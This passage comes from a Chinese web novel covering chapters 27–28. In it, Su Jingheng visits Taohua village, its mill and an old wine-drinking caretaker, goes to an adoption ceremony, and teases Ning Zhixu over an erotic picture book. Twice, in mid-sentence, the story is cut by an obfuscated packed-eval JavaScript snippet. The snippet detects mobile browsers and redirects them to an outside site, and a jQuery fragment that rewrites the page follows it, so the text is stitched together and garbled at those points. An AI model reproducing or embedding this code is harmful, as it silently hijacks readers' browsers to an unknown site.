不过后来一想,是她想法太过短浅了,有能力谁都能当家做主,管她爱笑不爱笑呢?
隔壁篱笆边几只鸡一顿一顿地走着,靠近,篱笆里探出两个脑袋,剩下来几个仍低着头做事。
四五十岁的女人聚在一起聊天,看见旁边来人,扯着嗓子笑着同她们打招呼,元渺同苏静蘅介绍,将她放到自己的辈分上,带着她一个一个叫人。
最小的黎三嫂子,焦月娘,长一辈的赵琴娘,沈四娘,还有兰芳婶子。
起早干活儿各个精气神不错,轮流打量着苏静蘅,瞧完不说话,彼此相视一眼,才有人哼笑着说:“渺渺交了新友,可带去给三井婆婆瞧过?”
苏静蘅皱皱眉,看她们的模样,对她的态度不算不友好,但也不算友好,元渺似乎没有察觉,热心带着她同她们说话,扯些不算特别重要的家常。
一阵寒暄过后,元渺带着她要走,黎三嫂子却忽然直起身,锤锤腰腿,不拘小节地冲苏静蘅扬扬下巴,问道:“你没叫你家相公一起来?”
“他暂不来。”
苏静蘅答得简单。
黎三嫂子不接话,往旁边递了个眼神,焦月娘立马操着重重的洛地口音追问:“听说你家相公是宁府二公子,你们怎地住到这个地方来哦?”
“……”
“嫂子问这些做什么?”
元渺刚开口说话就被打断,焦月娘好奇,道:“怎么啦?问问嘛,城里那些事我们都听说过,丫头可怜,听说你家相公不大好,你配他可惜了。”
黎三嫂子努努嘴附和道:“外边传的那些话丫头也听见了吧,我听说算命的大师说你命好,命好的做什么要配命差的?依我看你该配更好的才是,哪天你要跟他和离,留在我们桃花村也好,咱们村里比他好的男人多着呢,对了,琴婶子家阿煦今年也十八了吧?正是谈婚论嫁的好年纪,该找人说亲了。”
赵琴娘笑着,有些嗔怪地瞪她一眼,心说这事扯她家阿煦做什么?
这意思叫她家阿煦去配苏丫头,不说头婚配二婚合适不合适,就是她家不介意,这丫头看着也不大乐意。
人家才成亲几天呀?而且听元渺说他们夫妻两个感情好着呢,听见这话没翻脸就不错了,她怎么还敢往下说。
元渺怎么也没想到几位婶子会这么直接问话,尤其是黎三嫂子,平时说话就这样,没轻没重,看不懂局势,有时候得罪人了也不知道,她劝不住,忙看向赵琴娘,望她能拉着她一点,叫她别再胡说八道了。
“我相公他——”
苏静蘅对着一双双好奇的目光,忍不住瑟缩一下,但很快照着她们的话问回去,“我相公哪不好了?你们见过他?”
黎三嫂子:“没见过,但——”
“听过?可是听是听,见是见,各位嫂子婶婶没见过他怎么能说不好呢?我相公性子好,待我也好,你们若想见他,正巧他手艺好,改日我叫他做些好菜摆桌席请你们去吃饭,他为人怎么样,等见了面你们就清楚了。”
几人面面相觑,苏静蘅继续说道:“嫂子婶婶们对我们好奇是应该的,恕阿蘅直言,外边传的那些话不可信,我们夫妻两个既住到山脚,离村里不过二里地,想见面以后日日都可以见,往后日子长久,许多事要村里担待着,诸位若还没见面就对我相公有偏见,这于我于我相公于桃花村都不是什么好事,既互相不顺眼,挨得这么近,岂不是给彼此添堵?”
“各位婶婶嫂子莫要再信那些无可信赖的传言,宁二公子到底是怎样的宁二公子,日后有的是机会去了解呢,我与我相公也愿意同大家相识,从前那些真真假假的事就且让它过去,我们夫妻俩是想好好在这山野间安家,也真心愿与桃花村的大家相识相交!”
黎三嫂子还要再说话,沈四娘赶紧拉住她,示意她别再说了。
焦月娘笑着说:“你这丫头还挺护你相公啊,看来我们想错了,席不必做,亲近的话暂时说不了多少,等桃花节自然有机会碰上面。好男人,稀奇哩!到时候让我们看看你相公人到底有多好,是不是比咱们村子里的都好!”
众人笑着,赵琴娘点头应和,又冲旁人使使眼色,这事就算揭过去。
元渺松一口气,再看苏静蘅目光里瞬间掺上敬佩之色。
“阿蘅姑娘你千万莫要同她们置气,黎三嫂子就那样,平日说话就总是得罪人,不过大家知道她没什么坏心思,所以从来不会放在心上。”
苏静蘅淡然说:“不会。”
没法子,她想若那些人是在说她的不好,那她一定翻脸,可惜说的宁知序。
和那个老好人在一起几天,她觉得自己也被他传染了,大多数时候情绪平静没什么起伏,只要旁人说他们说得不过分,她都可以当做没听见。
“带我去看你们村的磨坊吧。”
女人们仍瞧着她,苏静蘅叉腰,冲元渺扬扬下巴。
她想瞧瞧那磨坊是什么样子,入了村,远远便能看见与村子里各户房子不大一样的屋棚,正上午磨坊里没什么声音,只有山间流水哗哗入耳。
家家户户门口引水的竹道亦是引起了她的注意,顺着竹道走,便差不多能将村子逛一遍,路上又认了几个人,男女老少对她充满好奇但皆有分寸,唯一话多一点的是个八九岁的小孩,从路边蹿从来追着苏静蘅问:“你是前两天才嫁过来的新娘子吗?为什么你家办喜事不做宴席呢?”
“去年和薪哥成亲就请村里人吃饭了,还发了好多喜糖!你家有喜糖吗?”
“你相公长什么样?新娘子长这么好看,不能配丑八怪吧!”
苏静蘅没不耐烦,反而被他逗笑了。
怎么一个个的都这么说,看来下次身上要带张宁知序的画像才行,逢人问就拿出来给他们看,告诉他们宁知序长得不丑,除开别的不说,至少看着赏心悦目。
元渺见状赶紧制止:“豆子你在胡说八道些什么!快家去!被你娘知道了又要教训你了!”
人如其名,名字叫豆子,长得也挺像豆子的,苏静蘅没见过脑袋这么圆的小孩,虎头虎脑的模样,蹦跳着跟着她们:“你们要去哪?是不是要去看磨坊?”
外人到村子里不是走亲戚就是看磨坊,除去离的远一点的宜村,周边村子都仰仗他们村的磨坊做事。
远来歇脚的人也乐意在此停留,谁也没想到这个小村子能建出一个这样的磨坊。
他自小就喜欢听别人夸他们村,知道苏静蘅和元渺要去看磨坊,非要跟着,就是为了听苏静蘅那一声不轻不重的夸赞。
竹道尽头有一处分流,顺着分流继续往前,过一棵大槐树再往下走,便是桃花村的磨坊。
路稍有些远,磨坊边没有人家,只有一座孤零零的小屋,元渺说:“昌老伯就住在这儿,他是三井婆婆委派来看磨坊的人,管磨坊几十年,一人养一只猫——”
豆子接上她的话:“我们管他的猫叫猫大人!擒鼠侍卫!它是咱们村拿耗子的好手,狗见了它都要绕道走!”
那猫已有十岁,在乡间算是极为年长的岁数,昌老伯说至少还能再活十岁,到时候他便奔九十去了。
没准活不到九十,他走了,猫也走了,到时候就托人把他们两个埋一块,到阴间好继续作伴。
说到这儿,豆子问:“阴间会有老鼠吗?阴间的老鼠也需要猫来抓吗?阴间是什么样子?唉,我一问这话我娘就骂我,说不吉利,人死有什么不吉利的?昌爷爷说,人都是要死的!他死了托我看磨坊,等我死了,就叫我孙子孙女看磨坊,我们要世世代代看磨坊——”
“豆子不许胡说。”元渺喝道。
“切!”
豆子非要说,“等我轮到我看磨
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15564732|167393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
坊,我就要在这里砌个灶屋,自己做饭吃,昌爷爷只喝酒,饭都是我们村子里人给他做,连我娘做的饭他都吃得下去,我吃过他做的鱼,明明很好吃,真不明白他为什么不自己做饭。”
“你还敢说,上次烧火差点把山燎了,还没长记性呢?”
豆子终于不说话了。
这事他做得不对,本来捉了只野鸡想自己偷偷烧了吃,结果风一吹,火一下燎起来,幸亏他呼叫及时,村里人发现得早,一群人急急忙忙打水将火浇灭,不然村子恐怕都要燎没了。
这件事过后他挨了爹娘一顿打,半个月下不来床,村子里的人都说他不懂事,见到他总要提这事。
昌爷爷说要把这事告诉他以后的媳妇,这哪成,不过豆子知道他没办法堵住那些人的嘴,只能自己想法子,他准备好好学习精进厨艺,长大以后娶了媳妇,旁人要是把这事告到她面前,他就拿出好吃好喝的给她,说:“真金需要火炼,要习得一身好厨艺,总要吃点柴火的教训,山没燎着那是上天保佑,我小豆子能成大厨,是自己有本事!”
苏静蘅被他的歪理逗笑。
这孩子皮是皮了点,说话还怪有意思的。
元渺要撵她走,苏静蘅说:“让他跟着吧,我还想听听他能说出什么道理来。”
“新娘子你真是好人啊,等我小豆子成了大厨,以后一定做好吃的给你吃!”
元渺说:“她家有一个大厨了,哪要你做饭给她吃。”
“什么!”
豆子大惊,“你相公是个厨子?你相公不是个公子吗?我娘说城里的公子什么事都不会做,只能吃家里老本。生下来是娘养的,花着家里的钱,还要女人伺候,这样的男人没本事,哪天没了父亲本狗都嫌,我小豆子是十里八村有名的狗王,不会被狗嫌,比那些公子哥们可好多了。”
元渺与苏静蘅相视一笑,不说话,继续朝磨坊走去。
豆子跟在后面,说:“你相公要是会做饭能干活,那跟他过日子勉强不错,要是你不跟他过,等我当了大厨,你可以跟我过——”
苏静蘅:“……”
“嘿嘿,开玩笑的。”
豆子被苏静蘅盯了一眼,剩下的话立刻咽回喉咙里。
三个人走到磨坊跟前,豆子如愿以偿听到苏静蘅一声赞叹:“好漂亮一个磨坊!”
光在外边看那一排水碓她心里就惊得砰砰跳,着急就去上手摸,豆子在旁边的屋子绕一圈,抱着一只猫回来说:“昌爷爷又喝醉酒睡着了,我把他的猫抱来给你摸,喜欢吧?猫大人不仅有本事,长得也好看,谁见了都喜欢。”
土生土长的狸花瞧着跟豹子一样,一双深碧色眼睛紧紧盯着苏静蘅,气势骇人,她伸手摸摸,性子却十分温顺,不怕生,看她几眼之后主动凑上来,贴着她的脚边蹭来蹭去。
几人看过了磨坊就蹲下来摸猫,没一会儿磨坊边那座孤零零的房子里传来叫喊声:“猫呢?我猫呢?谁又偷我猫了?”
一个髯须皆白的老头从屋子里跌跌撞撞跑出来,看见磨坊里的人,指着豆子数落:“好小子,我就知道是你!又来偷我猫,回头告你爹娘叫他们揍你!”
说着径直走来将猫抱走,完全无视苏静蘅和元渺的存在。
豆子说:“新娘子来看咱们村的磨坊,我把猫大人抱给她看,沾沾新娘子的喜气!”
“新娘子?”
昌老伯闻声回头,看了眼苏静蘅,说,“小子年纪轻,没见过几桩喜事,等你到了我这年纪就知道了,什么生,什么死,什么嫁娶喜事,就跟吃米饭一样,没什么味,见了不用大惊小怪。”
豆子哼道:“米饭是甜的,你是吃多了才觉得没味,这么吉祥的事你非杵几句,我不信你第一次看人家成亲的热闹也觉得不好玩。”
昌老伯听他的话果然想起小时候第一次瞧村里人办喜事的情形,年长的树哥娶媳妇,他被娘带着挤在人群里要喜糖,那天吃了人生最好吃的一顿席。
后来树哥和他媳妇都死了,再往后同辈年长年少的新郎官新嫁娘也都慢慢走了,到如何村子里过七十岁的老人只剩他和三井两个,以后谁会先死呢?
他想一定是他。
那真是一桩好事!等他到了地府一定要跟阎王爷要酒喝!
昌老伯笑笑,说:“两位来看磨坊?最近没什么人,便不叫磨坊动工,这东西动起来吵人咧,个个都想要它的好处,但个个不想挨着它。”
苏静蘅静静看着他,不知接什么话,闻着风吹来的酒气,就说:“爷爷的酒闻着好香,味道比城里大酒楼里的还醇,前两天我同相公进城,在风雅斋喝了瓶好酒,如今看来,比不上爷爷的酒。”
“小丫头爱喝酒呀?”
昌老伯听了很欢喜,抱着猫说,“风雅斋的酒不好,掺水,我这酒是从宜村打的,那儿有全天下最好的酒坊,你来尝尝,以后就不要去洛城吃酒了,去宜村,那个酒坊的掌柜是我嫂子的胞弟,我俩拜了兄弟,报我名字能免费送你酒喝。”
苏静蘅笑着说好,就被昌老伯带去磨坊边的小房子里喝酒。
元渺不会喝,平生第一次喝酒还是新婚夜的合卺酒,喝完便昏了头,一觉睡到天亮。
豆子也不会喝,初懂事的时候偷爹的酒喝,喝醉了跟村里的狗拜把子,还认了李和薪家的大母鸡当干娘,碰巧当天干娘就被杀了炖成老母鸡汤,他哭得撕心裂肺说给娘送终,结果挨亲娘一顿骂,也彻底断了爹在家喝酒的路。
两个人眼巴巴看着苏静蘅喝,昌老伯拿大海碗倒给她喝,看起来一老一少喝完就要上山打虎,元渺紧张问:“这么多?你喝得了吗?”
“……”
苏静蘅抿嘴轻笑,昌老伯一下子回过神,将酒倒回去,只留两口给她,说,“老了,糊涂了,净把酒当水倒,喝起来也没轻没重,小丫头喝不了太多,等你到我这个年岁,我恐怕会给你多倒些,年纪大了喝酒好,赛过老神仙。”
27. 山水间 (一)
八十岁能喝酒,人都说是酒补气,喝了酒才长寿。
八十岁还能吃肉,就说是肉补身子,不管三七二十一便宰了鸡鸭羊肉烹给家人吃。
苏静蘅眼睛眯成一条缝,心说这是命,和酒肉有什么关系呢?有人年少爱喝酒,仍逃不了早亡的命,有人天天吃肉,身子也没见的有多好。
老头子年近八十还有力气守磨坊,同村里的小孩说笑,多喝两口酒暖暖身子只是锦上添花,命里该活到多少就是多少岁,这是他有福气。
一口酒过嗓子,辣得她眉毛皱成一团,昌老伯见状哈哈笑道:“我这酒不一般吧?和外边那些掺水的酒不一样!小丫头喝不了就不要喝了,把你喝坏了那就不好了。”
“没听过有人喝酒喝坏的。”
“那是你年纪轻没见过,有些不知轻重的人喝起酒来没完没了,喝醉了酒人在梦里就睡没了,什么样的身子喝什么样的酒,就算当个酒鬼自己心里也要有数,你既受不了,那就尝两口过过瘾,不要喝太多。”
苏静蘅还是将剩下的酒都喝光了,昌老伯佩服她道:“你性子倒也是烈,偏要喝光,待会儿肯定头晕,我这里没有拐杖,幸亏你带了人来,有人能搀着你回家。”
苏静蘅双手握拳贴贴脸,趁着酒气还没彻底上头,指着屋里摆放着的各式各样的物品问:“爷爷屋子里好多东西,是自己做的吗?斗笠、风筝……怎么还有拨浪鼓?”
昌老伯说:“丫头说笑了,村里人托我叫卖,都是从前有用往后没用的东西,若有外村人来磨坊,问问他们要不要,比放在家里吃灰的好。”
“能卖出去吗?”
“能。这是个方丈小市,有人来就有人买,自家用过的东西不值多少钱,逢有缘人需要,拿几块铜板就能换,一家子卖出去多少钱,我抽五厘当报酬,一年挣不了多少钱,权当为村里人做好事。”
“这样——”
苏静蘅低眉不知在想什么,
昌老伯看她若有所思的模样,问:“你有东西要托我卖?”
苏静蘅道:“今日没有,明日没有,后日也未必有。”
“那大后日就有了。”昌老伯道,“有什么不用的尽管拿来,我这有的是地方放,五厘当报酬,攒够一块铜板交付。”
“若攒不够呢?”
“攒不够那就作罢,一个铜板何必计较?”
苏静蘅笑了笑,问:“爷爷到如今收了多少个铜板了?”
昌老伯掰掰手指,算了一遍说:“十几个。”
他觉得很不错了。
各家只把没用的东西拿出来卖,关乎生计的手艺向来都是自己到市上卖,他能攒十几文十分不容易,这些钱他也没打算花,只收着每天拿出来瞧瞧就十分高兴。
昌老伯将这些年帮村里人卖东西攒下的钱拿出来给她看,一根绳子挂着十几个铜板,新的旧的都有,旧些铜板上的字已经有些磨损,嵌了灰尘在其中,新的还算光亮,苏静蘅好心说:“我替爷爷打个络子吧,串起来给您当吉祥物。”
“那好!就挂在窗户边上,我日日瞧着心里也欢喜。”
昌老伯对苏静蘅越发喜欢,干脆分了半壶酒给她,叫她喝完了再来拿。
苏静蘅将酒收下,又与他聊了会家常,便同元渺和豆子回村里,晌午村子里人多起来,出去干活的这时候都归家烧饭休息,路过三井婆婆家,元渺跑过去问良月姑娘回没回来,得到的回答仍然是没有,她有些失望,三井婆婆冲苏静蘅招招手,竟请她进屋,拿出个陶罐给她。
她仍没说什么话,东西塞到苏静蘅手里才说:“新鲜的,拿回去吃吧,年纪大了旁的做不了,幸亏手脚还能动,做些酱菜倒是还行,我孙女最喜欢吃这口,你若是喜欢,日后常来村子里,家里多的是,你尽管拿。”
苏静蘅捧着陶罐连声道谢,打开罐子扑面而来的酱香。
既得了酒,又拿了酱,一时之间分不清是酒气上头,还是高兴到头昏,只觉得脚下飘飘然,又说些好话,同元渺分开,便忍不住蹦跳着从村里往家里跑去。
宁知序叉腰站在门口等她归家,刚想若是再不来人,就去村里薅她回家,谁料念罢没多久就看见草丛里一个人影高蹿,手里举着两个罐子又跳又转圈,往他这里奔跑过来,不用想便知道是她。
人走近了,上前问:“什么事这么开心?交了新朋友,还是路上捡到银子了?”
苏静蘅满面酡红,一手拿酒,一手拿酱,捧到他面前嘿嘿笑着,说:“既交了朋友,又捡到银子了!看,村里昌爷爷给我的酒,还有三井婆婆给我酱,都是好东西!”
酒气酱香缠绕,宁知序贴近她闻闻:“你到别人家喝酒了?味这么重,喝了不少?”
“不多,只几口而已,就是酒烈,我现在头有些晕,不过没什么事,缓一会儿就好了。”
宁知序无奈叹气,道:“下次不许这样跑到旁人家喝酒,至少提前跟我说一人,我好去接你。”
“知道了。”
苏静蘅嫌他啰嗦,将东西都塞到他怀里,欢欢喜喜跑进灶屋,拿碗盛饭,又吃了满满一大碗。
饭后推着宁知序到屋子里休息,自己将碗筷都收拾了,又将灶屋洒扫一遍,约过了半个时辰才去睡觉。
醒来是被宁知序叫醒的,怕她睡久了头疼,估摸着时辰准时叫醒她,提前煮了绿豆汤给她喝,镇镇神,果真好一些。
下午找了活做,往后几天便是垦地种菜,绣花做衣,闲暇时听宁知序背几首诗给她听,勉勉强强认几个自己没见过的字,晚上吃过饭拿着毛笔沾水在桌子上写写画画,怎么也舍不得用那些纸。
宁知序劝不过她,便随她去了。
好在毛笔她舍得拿,没用手指在桌上写写画画已经算是给他面子。
到了与齐惠约好的日子,两人一早就往城里赶,连着几日做了绣花枕席送给齐惠,苏静蘅心里难得对自己的绣工没有信心,担心齐惠不喜欢,宁知序只能不厌其烦一句又一句宽慰她。
两人以为认干亲算是家事,不至于大张旗鼓地操办,谁知到了瑞芳堂,看见门口连大红花都挂好了,齐惠扯着嗓子昭告天下她以后要有个闺女,当日磕头认亲,请人做见证,又做了各种苏静蘅看不懂的仪式,中午留着吃了午饭,下午走时更是打包了一堆糕点。
苏静蘅这辈子都没想过自己能过上每天一睁眼就是吃桂花杏糕的日子,她做的枕席齐惠很喜欢,因是绣的鸳鸯图案,赵铭看她的目光都温和许多。
拜干亲还真没赵铭什么事,他被排除在外也没什么怨气,依旧顶着一张木讷的脸在铺子里闲逛,唯一不同的是苏静蘅走时他站在门口目送他们离开。
苏静蘅看着觉得好笑,心想一定是那天过后他挨了干娘训斥,又想讨好她又放不下面子。
该!
谁叫他不管三七二十一就赶人,幸亏有人能治他,不然受委屈的就是自己了。
离开瑞芳堂,宁知序带着她去宁府后的巷子里找人,与他一块长大的那个名叫石列的少年今日正好未去宁府当值,见到宁知序跟见了鬼一样,大叫着迎上来,道:“噫!你怎么来了?我还以为你忘了我给你的好处跑路了!二爷知道我帮你偷马差点没把我赶出宁府,幸好我跪得快,大公子又好心替我说话,不然我包被他们打得起不来身!说好了请我吃饭呢?这个月我没空,下个月初五,初十,十五我都有空,你挑个日子,去哪吃随便,我不挑。”
说罢,不等宁知序回答,又惊奇地打量起苏静蘅,收住身上毛躁的劲问,“这位就是弟妹吧?久仰大名久仰大名!出门在外,我就不守那些麻烦规矩了,叫你二少夫人你肯定不乐意,我是他半个义兄,你若是不嫌弃我是宁府的下人,管我叫一声哥就行。”
看着与宁知序一般大,说话倒是充满江湖气,论辈分确实该叫他一声大哥。
苏静蘅扯扯嘴角,乖乖福身,而后拿出从瑞芳堂得来的糕点给他,石列当即喜道:“你们还带东西来?太客气了!不过既然是弟妹心意,我就收下了,下次不用这么见外,人来就行,不用带东西。”
宁知序拍拍他肩膀,说:“我找你是有事相求。”
“又有什么事?”
石列警惕道,“和宁家有关的事我做不了,旁的还行,只是要有报酬,譬如下次吃饭多点两盘好菜多点两盅酒——”
“这些肯定少不了你的。”
宁知序拿出信件给他道,“烦你托人帮我送封
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568495|167393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
信。”
信?
石列接过竹管看了看,上面有信条,写了要将信送到何处,但宁知序还是将地址报给他,随后拿出碎银塞到他手里。
话不必多说,石列瞄他们两眼心里便懂了。
平时托他舅舅送信的不少,至少每次跟商队离开洛城前都能收到几封,商队里其他人自然也是,大家心照不宣地私下接活挣点酒菜钱,宁知序既然找他帮忙,还给了钱,他肯定不会说不,立刻收下竹管说:“行,晚上我替你去送,钱就不用给了,顺路的事,花不了多少力气。”
他欲将银钱还给宁知序,苏静蘅却拦住,说:“信是为我送的,就当是请商队的兄弟们喝酒了,下月义兄有空我同我相公再请义兄去酒楼里单吃一顿,到时候千万要给我们面子,莫要拒绝我们。”
宁知序摸摸鼻子,默默瞥了眼苏静蘅,又瞪着石列,石列假装没看见,从容接下邀约。
同石列分开,宁知序忍不住跟苏静蘅说:“你别听他瞎说,什么‘义兄’不‘义兄’的,日后见了他不要这样叫他,他明明比我还小几日……”
“……”
苏静蘅道,“那他为什么——”
“只是为了占我的便宜……嗯,或许还有你的。”
苏静蘅:“……”
宁知序看她欲说还休的模样,走到她面前蹲下,说:“忙了好半天累不累?来,我背你!”
苏静蘅没有犹豫扑到他背上。
两个人路过宁府,都跟沾了晦气东西一样说:“快走快走!”
一溜烟从那富丽堂皇的大门口跑过,然而没走多远,那日的小道士忽然出现,见了他们,吃惊地“嗬”了一声,追上来问:“是宁公子吗?”
二人同时陷入沉默,小道士没得到回答,从身上掏出两本书给他,说:“正要找机会去见你们,喏,三爷叫我给你的,另两件事他暂时办不成,二爷把他关在府里不许他再乱跑,又找了大夫给他治病,说等他清醒点在放他出去,所以这段日子他出不了宁府,托我来给你们送信,叫你们好好在城外待着,等他出了宁府一定来找你们。”
“三爷病啦?”
苏静蘅听到这消息竟还有些担心。
小道士指指太阳穴的位置皱皱鼻子摇头说:“三爷找的术士偏方给他看脑子,我看不太行,脑子坏了的人怎么可能说治好就治好?说了些话唬他罢了。”
苏静蘅闻言,眉梢微颤,不由得叹气说:“若是这样,你跟他说那些事就算了吧,折成银子给我们也行。”
“银钱么……”
小道士低眉不敢看她的眼睛,只说,“你的话我一定带到!”
说罢一转身就跑了,宁知序见状冷笑一声,苏静蘅问:“你笑什么?”
他说:“没看出来么?我三叔肯定给我们钱了,不过被那小子贪走了!”
“那还不快去追?!”
“见不到三叔,他死不认账我们也没办法。”
苏静蘅气急,说:“那你就别告诉我啊,拿不回来钱我又要生气!”
宁知序:“……”
苏静蘅道:“他给的书呢,讲的什么给我看看。”
宁知序:“……”
书……似乎不是好书……
五指将那两本书死死攥住,说:“《三字经》,你会背,我们用不着,扔了算了。”
“扔?你疯啦?好好的书扔了做什么?”
宁知序似乎没听见走到路上随手一丢,然后拔腿就跑,后边有人见他扔书,捡起丢掉的书拔腿就追,一边追一边喊:“公子!你东西掉了!”
他越追,宁知序越跑。
宁知序越跑,他越追。
只是身上背着个人自然跑不过身后那人,宁知序被追上,见他一手拿一本,这时候再想伸手抢回来已经晚了。
那人拍拍书面,道:“看看,崭新的书,怎么就丢了?你拿好,小心些,再丢可没人帮你们捡。”
说着顺手好奇地翻了翻,这一翻,整个愣住,苏静蘅问:“你怎么了?”
那人猛地合上书,塞到她手里,说:“没什么,打搅了,你们——嗯,祝你们百年好合,早生贵子!我走了,不见!”
28. 山水间(二)
宁知序立刻撒手,苏静蘅从他身上划下,还没来及翻开书,两手一空,手里的东西就被他抢走。
“没什么好看的。”
宁知序匆匆忙忙把书塞进怀里,来不及怪那人多事,背过身,说,“来日多认些字再看吧,现在看也看不懂。”
“没什么好看的为什么不让我看?”苏静蘅不信,“而且你不给我看怎么知道我能不能看懂,快,给我。”
宁知序咬牙坚持:“真没什么好看的。”
“真没什么好看的,那就给我看。”
“你真要看?”
“真的。”
“那行吧。”宁知序知道越是不给她,她就越是好奇,只好慢吞吞将书拿出来,苏静蘅一把抢过,草草翻看一遍,随后面不改色地还给宁知序,说,“哼,果然没什么好看的。”
宁知序:“……”
“喂,我走不动了,背我。”
“哦。”
宁知序讷讷弯腰等她攀回自己背上,走了一会儿忍不住问,“书里是什么?全是字吗?你真的看不懂?”
不应该啊,上次三叔不是说要送那种书给他吗?
难道是他想错了?
苏静蘅没说话,整个人贴在宁知序身上,脸简直比猪肝还红。
没有字!一个字都没有!只有人,两个人,一个男人一个女人缠在一块,啊啊!该死的宁知序,怎么不坚定一点把这东西收起来!竟然怎么容易就递给她了,都是他的错!
“唉?你怎么不说话了?”
“闭嘴!”
“哦。”
宁知序知道了,他没搞错,肯定就是那种书。
背上的人难得这么安静,走一路没说话,宁知序想着想着嘴角扬起,稍稍偏首想偷看她,被苏静蘅发现,立刻换一个肩膀靠,他跟着朝另一边看,苏静蘅又换回去。
重复好几次,苏静蘅忍无可忍,说:“不许回头!”
“哦。”
宁知序脸上笑容愈甚,说:“书里到底是什么呀?”
“不许问!”
“哦。”
逗她一下很高兴,但再逗下去倒霉的就是自己了,宁知序住嘴,心情甚是愉悦,走起路来都有劲。
一路上苏静蘅都没再跟他说话,回到家也是一言不发就钻到房间里。
宁知序原觉得有意思,但她一直不跟自己说话,难免开始心慌,饭菜好了去叫她,敲门不应,更是着急,道:“睡着了?还是生气了?你不会因为那两本书就跟我生气吧?那我可真是委屈啊,明明和我没什么关系——”
说着,房门刷的一下打开,苏静蘅羞愤对他说:“都怪你,你怎么看那种东西!”
“哪种东西?”宁知序问。
“就是书上的那东西!”
“我没看啊。”
宁知序说,“你不能污蔑我,那书我拿到手可是一眼都没有看!”
苏静蘅心口憋着气,抿了抿嘴,争辩道:“可是你不看你也知道那里面是什么,你以前肯定偷看过!”
宁知序:“……”
所以呢?
生而为人活在这世上难免会有一点好奇心,他只是以前不懂事的时候机缘巧合之下得到过一本随便翻看几页而已,又没做其他伤天害理的事,就这样看两眼也不行?
宁知序揉揉眉,轻咳两声,解释:“以前府里下人藏过这种书,我无意中见到,翻了几下,后来就还回去了,这你也要生气?都多少年前的事了,当时书上画的什么我都不记得了……”
说到这事他心里还不痛快呢,书没翻两下就被府里老仆逮个正着,该学的东西没学到,还被捅到爹娘那去,两个人看了书一言不发,没两日特地抽空找他,跟他聊星星聊月亮,聊男人和女人那档子事,生怕没教好他,把他教到烟花柳巷去。
那时他才几岁?
说什么染疮得病的事,差点没把他吓死……
“那两本书现在只有你看过——”
“不许再说了!”
“哦。”
宁知序眨眨眼,就这样坦然看着她,又挑挑眉梢,两个人面对面一言不发站了许久,实在憋不住,道:“其实你没必要这样,那书上没字,看起来不费劲,你想看的话就拿去——”
“那种书我才不看!扔掉!扔远一点!别再让我看见!”
“扔?你疯啦?好好的书扔了做什么?”
宁知序拿她的话还给她,笑嘻嘻地说,“万一以后用得着呢?”
“你!”
苏静蘅脸涨得通红。
“不是不是——”
宁知序说完才意识到自己说的话有歧义,想解释,然而对面一拳头轰过来,打得他眼冒金星,没说两句,打他的人已经羞愤地飘走,去灶屋吃饭了。
天大地大吃饭最大,苏静蘅羞愤地吃完饭,羞愤地回到房间,羞愤地入了睡,又做了个羞愤的梦,醒来才不过三更天。
回想梦里的内容,她猛地摇头,冲出屋子去灶屋舀了瓢凉水喝,才勉强让自己清醒。
天上圆月高悬,山间银光如屑,月色透过敞开的屋门落在宁知序脸上,他抱着被子睡得正香。
苏静蘅站在檐下吹了会冷风看了会月亮,而后准备进屋,就瞧见他恬淡的睡容,瞬间钉住脚步,静静看着他。
真好看。
唉,真好看,可惜长了张嘴,他睡着的样子可比白日讨喜多了。
说话的时候是一个人,不说话的时候是另一个人,眼前这副样子真像高门大院里富养的公子哥,打小学写字学作诗,待人有礼,说笑有度,睡着了就像仙人入定,别有一番安逸坦然的感觉,白天的时候怎么就不能是这模样呢?
苏静蘅想着,慢慢走近,本想替他盖好被子就回屋继续睡,谁料刚到床边,宁知序忽然睁眼,寂静之中两人对视,没来及说什么,凄厉的惨叫声瞬间响起,简陋的床板上乱作一团,手不是手,腿不是腿,变成绳子拧作一团,宁知序惊恐问:“谁?谁在那儿!”
“……”
苏静蘅看他抱着被子吓得头发几乎要竖起来,深吐一口气,说,“是我。”
看清楚模样,宁知序愣了愣,当即躺下抚胸,轻声道:“怎么是你……你不睡觉要做什么?你不会——”
不会白天学到了新东西,晚上就迫不及待打算尝试了吧!?
宁知序觉得不是没有这种可能,立刻抱紧被子缩在角落,说:“苏姑娘,当日成亲的时候说好了,咱俩各取所需,嗯这里的‘需’可不包括那方面的事……”
“……”
苏静蘅一番好心没来得及展现就被扼杀在胸口,再看宁知序那一副黄花大闺男的样子,躲在角落又羞又怯,忍不住翻了个白眼,说,“我起夜看你被子没盖好,好心来帮你盖个被子,你竟然这样想我,真是龌龊!日后你再踢被子我一定不管你了,随你被冻死算了!”
靠山人烟稀少之处本就比城里凉些,现在才二月天还没到三月,他不盖被子万一着凉发烧她还要照顾他,苏静蘅撇撇嘴说:“你若是生病了我也不会管你,着凉就着凉,发烧就发烧,宁公子身强体壮,就是病了也一定能自己照顾自己,我去睡觉了,没事不许叫我,有事也不许!”
说罢连堂屋门也不关就回自己屋里,宁知序定在原地缓了会儿神,咽咽口水,再望向隔壁那道墙,心里竟有些失望。
什么话都没说,默默将堂屋门关好,回到床上却怎么样都睡不着,于是干脆起来点盏油灯,拿出前段日子从书铺买的书翻阅起来,翻着翻着,又觉得没意思,目光最后定在今天新得的书上。
-
